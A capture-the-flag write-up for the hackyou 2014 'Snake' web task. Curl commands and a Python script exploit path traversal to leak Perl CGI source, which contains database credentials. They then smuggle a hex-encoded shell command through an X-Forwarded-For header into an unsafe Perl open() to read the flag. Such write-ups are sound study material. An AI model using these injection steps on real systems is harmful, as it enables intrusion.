# hackyou 2k14: Web - Snake (200 points)


Using curl

# curl --silent --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/register.pl
# curl --silent --cookie-jar web-200 --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=1.2.3.4
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../index.pl
<!DOCTYPE html
 PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Personal Area</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<p>Hello, web200!</p><table border="1"><tr><th>Date</th> <th>Score</th></tr>#!/usr/bin/perl
use CGI;
use CGI::Session;
use DBI;
use Digest::MD5;

sub MD5 {
 $h = Digest::MD5->new;
 $h->add($_[0]);
 return $h->hexdigest;
}

sub Main {
 $title = "Personal Area";
 $req = new CGI;
 $db = DBI->connect("dbi:mysql:snake", "daniel", "E9nENHbtkG");
 if ($req->param('submit')) {
  $login = $req->param('login');
  $password = MD5($req->param('password'));
  $sth = $db->prepare("SELECT * FROM users WHERE login = ? AND password = ?");
  $sth->execute($login, $password);
  if ($sth->fetchrow_array()) {
   $session = new CGI::Session();
   $session->param('login', $login);
   print $session->header(-location=>'index.pl');
  } else {
   print $req->header();
   print $req->start_html($title);
   print $req->h1('Wrong login/password!');
   print $req->end_html();
  }
  exit;
 }

 $session = CGI::Session->load();
 if ($req->param('act') eq 'logout') {
  $session->delete();
        print $session->header(-location=>'index.pl');
        exit;
 } 

 print $req->header();
 print $req->start_html($title);
 if ($session->is_empty) {
  print $req->b('Auth please');
  print $req->startform;
  print $req->textfield(-name=>'login');
  print $req->br;
  print $req->textfield(-name=>'password');
  print $req->br;
  print $req->submit(-name=>'submit', -value=>'OK', -action=>"index.pl", -method=>"POST");
  print $req->endform;
  print $req->a({href => 'register.pl'}, "Register");
 } else {
  $login = $session->param('login');
  print $req->p('Hello, '.$login.'!');
  if ($req->param('ip')) {
   $file = './data/'.MD5($login)."/".$req->param('ip');
   if (-e $file) {
    open FILE, $file;
    $html = '';
    while (<FILE>) {
     $html .= $_;
    }
    close(FILE);
    print $req->start_table({border=>1}); 
    print $req->Tr($req->th(['Date', 'Score']));
    print $html;
    print $req->end_table(); 
    print $req->a({href=>'index.pl'}, 'Back');   
   } else {
    print $req->h1('Error');
   }
  } else {
   print $req->p('Here you can view information about your games from any IP');
   opendir DIR, './data/'.MD5($login);
   print $req->start_table({border=>1});
   while ($file = readdir(DIR)) {
    if ($file =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) {
     print $req->Tr($req->td([$req->a({href => "index.pl?ip=".$file}, $file)]));
    }
   }
   print $req->end_table();
   print $req->br;
   print $req->a({href=>'index.pl?act=logout'}, 'Logout');
  }
 }
 print $req->end_html();
}

Main();
</table><a href="index.pl">Back</a>
</body>
</html>
# echo -n 'ls /' | xxd -p
6c73202f
# curl --silent --cookie web-200 --request POST --header 'X-Forwarded-For: |`echo -n 6c73202f | xxd -p -r`|' --data 'playerName=web200&playerScore=1&hash=a608555a0edc1aadefee6151550fa879' http://hackyou2014tasks.ctf.su:20080/cgi-bin/save.pl
# curl --silent --cookie web-200 --request GET 'http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|' | grep CTF
CTF{d96ddaa29b5374317ec635db93a9f656}
Using python

# cat web-200.py
#!/usr/bin/python

from re import search
from requests import get, post
from sys import exit

URL = 'http://hackyou2014tasks.ctf.su:20080'

def statusexit(r, point):
 if r.status_code != 200:
  print r.status_code, point
  exit()

values = {
 'login'   : 'web200',
 'password': 'web200',
 'submit'  : 'OK'
}

r = post(URL + '/cgi-bin/register.pl', data = values)
statusexit(r, 'register')

r = post(URL + '/cgi-bin/index.pl', data = values)
statusexit(r, 'login')
 
cgisessid = r.cookies['CGISESSID']
cookies = {
 'CGISESSID': cgisessid
}
r = get(URL + '/cgi-bin/index.pl?ip=10.0.2.15', cookies = cookies)
statusexit(r, 'score')

r = get(URL + '/cgi-bin/index.pl?ip=../../index.pl', cookies = cookies)
statusexit(r, 'source')
#print r.text

headers = {
 'X-Forwarded-For': '|`echo -n 6c73202f | xxd -p -r`|'
}
values = {
 'playerName' : 'web200',
 'playerScore': 'web200',
 'hash'       : 'a608555a0edc1aadefee6151550fa879'
}
r = post(URL + '/cgi-bin/save.pl', cookies = cookies, headers = headers, data = values)
statusexit(r, 'save')

r = get(URL + '/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|', cookies = cookies)
statusexit(r, 'read')
print search(r'CTF{.*}', r.text).group()
# ./web-200.py
CTF{d96ddaa29b5374317ec635db93a9f656}
References

http://en.wikipedia.org/wiki/X-Forwarded-For
http://en.wikipedia.org/wiki/Local_File_Inclusion
http://www.ccsf.edu/Pub/Perl/perlfunc/open.html

No comments: